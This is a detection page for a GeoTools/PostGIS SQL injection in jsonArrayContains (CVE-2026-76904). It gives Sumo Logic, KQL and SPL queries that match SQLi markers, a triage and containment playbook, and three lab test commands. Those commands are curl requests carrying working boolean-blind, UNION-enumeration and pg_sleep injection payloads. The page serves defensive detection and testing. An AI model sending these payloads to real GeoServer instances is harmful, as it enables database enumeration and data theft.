CVE-2026-76904 Sumo Logic CSE · Sumo

Detect GeoTools Unauthenticated SQL Injection in jsonArrayContains Against PostGIS (CVE-2026-76904) in Sumo Logic CSE

Detects exploitation of CVE-2026-76904, an unauthenticated SQL injection in the GeoTools gt-jdbc-postgis module's jsonArrayContains filter function. Affected versions embed unsanitized attribute/value arguments directly into PostgreSQL SQL when a WFS/OGC filter uses jsonArrayContains against a PostGIS layer, allowing an unauthenticated attacker to inject arbitrary SQL (stacked/UNION/boolean-blind) via crafted OGC Filter, CQL, or WFS GetFeature requests. This detection identifies SQLi payloads in OGC/WFS request parameters, anomalous PostgreSQL query patterns originating from the GeoServer/GeoTools application user, and error-based injection signatures.

MITRE ATT&CK

Tactic
Initial Access Collection Credential Access

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
_sourceCategory=*web* OR _sourceCategory=*geoserver*
| lower(_raw) as lc
| where lc matches "*jsonarraycontains*"
| where lc matches "*' or *" or lc matches "*union*" or lc matches "*pg_sleep*" or lc matches "*information_schema*" or lc matches "*pg_read_file*" or lc matches "*::text*" or lc matches "*--*"
| parse regex "(?<src_ip>\d+\.\d+\.\d+\.\d+)" nodrop
| count by src_ip
| sort by _count
critical severity medium confidence

Sumo Logic detection matching jsonArrayContains SQLi markers in web/GeoServer access logs.

Data Sources

Web server logsGeoServer logs

Required Tables

_sourceCategory=web_sourceCategory=geoserver

False Positives & Tuning

  • Scanner probes
  • Legitimate CQL special-character filters
  • Encoded JSON GIS payloads

Other platforms for CVE-2026-76904


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Boolean-blind SQLi via jsonArrayContains WFS filter

    Expected signal: Web-server access log entry to /geoserver/wfs containing jsonArrayContains and an injected OR clause with single quotes.

  2. Test 2UNION-based enumeration via jsonArrayContains

    Expected signal: Access log and PostgreSQL statement log showing a UNION SELECT referencing information_schema from the GeoServer DB role.

  3. Test 3Time-based blind SQLi via pg_sleep

    Expected signal: Web log entry with pg_sleep in the decoded filter and a response time near or above 5 seconds; PostgreSQL log showing pg_sleep execution.


Response Playbook

Triage

  1. Confirm the target application embeds a vulnerable GeoTools version: check gt-jdbc-postgis JAR version (affected: =35.0, 34.0–34.4, 30.5–33.5) via the GeoServer About page, deployed WAR, or Maven dependency tree; fixed in 33.6, 34.5, 35.1.
  2. URL-decode the flagged request and isolate the jsonArrayContains filter arguments; determine whether the injected content is boolean-blind, UNION-based, error-based, or stacked (';') SQL.
  3. Correlate the source IP and user-agent against authentication logs — because this is unauthenticated, confirm whether the request carried any session/credential or was anonymous.
  4. Query the PostGIS/PostgreSQL logs for statements originating from the GeoServer DB user around the same timestamp to see whether the injected SQL actually executed (look for information_schema access, pg_sleep, COPY, or pg_read_file).

Containment

  1. Deploy a WAF/reverse-proxy rule to block requests to WFS/OGC endpoints whose filter payload contains 'jsonArrayContains' combined with SQL metacharacters until patched.
  2. Upgrade GeoTools/GeoServer to a fixed release (33.6, 34.5, or 35.1) or apply commit d821c4d321dd91c22e31fcd5b1ce676645da5176; restart the application.
  3. Restrict the PostGIS connection role used by GeoServer to least privilege (read-only, no superuser, no pg_read_file/COPY) and rotate its credentials if injection is confirmed.

Evidence Collection

  1. Capture full raw web-server and GeoServer request logs (URI, body, headers, source IP) for the affected time window and preserve them offline.
  2. Export PostgreSQL statement logs (log_statement=all if available) and pg_stat_activity snapshots showing queries from the GeoServer DB user.
  3. Snapshot the GeoServer host and PostGIS database for forensic analysis before remediation to preserve any dropped/exfiltrated data evidence.

Escalation Criteria

  • !Escalate to IR if PostgreSQL logs confirm the injected SQL executed (e.g. information_schema enumeration, UNION returning extra columns, pg_sleep timing, or file reads).
  • !Escalate to data-breach handling if injection accessed tables outside the GIS schema or if credentials/PII were returned in responses.
  • !Escalate to emergency change management to force out-of-band patching if the affected GeoServer is internet-facing and exploitation attempts are ongoing.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web-server/GeoServer access logs containing jsonArrayContains filter payloads with SQL metacharacters
  • >PostgreSQL server logs (log_statement) and pg_stat_activity entries showing anomalous queries from the GeoServer DB role
  • >GeoServer request logs and any error responses leaking SQL exceptions (error-based injection indicators)

Tuning Guidance

Baseline legitimate jsonArrayContains usage from your known GIS clients and integration IPs, then allowlist those source IPs/user-agents. Tighten the SQLi marker set to the primitives most indicative of exploitation (pg_sleep, information_schema, pg_read_file, UNION with column enumeration) if generic markers like '--' or single-quote produce noise from valid CQL filters. Prioritize alerts where the DB layer shows a corresponding anomalous query, and lower severity for internal-only, patched instances.


Hunting Queries

Retro-hunt 30 days of web logs for jsonArrayContains filter usage combined with SQLi enumeration primitives to find prior exploitation attempts.

Hunting — KQL
kql
W3CIISLog | where TimeGenerated > ago(30d) | extend u = url_decode(tolower(csUriQuery)) | where u has "jsonarraycontains" | where u has_any ("union","information_schema","pg_sleep","pg_read_file","::text","'") | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
index=web (jsonarraycontains) | eval d=urldecode(lower(uri_query)) | where match(d,"(?i)(union|information_schema|pg_sleep|pg_read_file|::text)") | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Boolean-blind SQLi via jsonArrayContains WFS filter
linux

Sends an unauthenticated WFS GetFeature request whose jsonArrayContains argument injects an always-true boolean to test the vulnerable code path in a lab GeoServer.

Command

bash
curl -s 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27%20OR%20%27%27%3D%27%27%27)'

Cleanup

bash
echo 'No cleanup required; read-only boolean test issues no persistent change'

Expected Telemetry

Web-server access log entry to /geoserver/wfs containing jsonArrayContains and an injected OR clause with single quotes.

Expected Detection

KQL/SPL rule fires on the decoded query string matching jsonArrayContains plus the "' or " marker.

Test 2 UNION-based enumeration via jsonArrayContains
linux

Attempts a UNION SELECT against information_schema through the jsonArrayContains argument to enumerate database tables in a lab environment.

Command

bash
curl -s 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27)%20UNION%20SELECT%20table_name%20FROM%20information_schema.tables--%20%27)'

Cleanup

bash
echo 'Read-only enumeration attempt; no cleanup needed'

Expected Telemetry

Access log and PostgreSQL statement log showing a UNION SELECT referencing information_schema from the GeoServer DB role.

Expected Detection

Detection matches jsonArrayContains combined with union and information_schema markers.

Test 3 Time-based blind SQLi via pg_sleep
linux

Injects pg_sleep to confirm blind SQL injection by measuring response delay against a lab PostGIS-backed layer.

Command

bash
curl -s -w '%{time_total}\n' 'http://geoserver.lab:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typeNames=lab:parcels&cql_filter=jsonArrayContains(props,%27a%27,%27x%27%27%3B%20SELECT%20pg_sleep(5)--%20%27)'

Cleanup

bash
echo 'No persistent change; pg_sleep only delays the response'

Expected Telemetry

Web log entry with pg_sleep in the decoded filter and a response time near or above 5 seconds; PostgreSQL log showing pg_sleep execution.

Expected Detection

Detection fires on jsonArrayContains combined with the pg_sleep marker.

Related Detections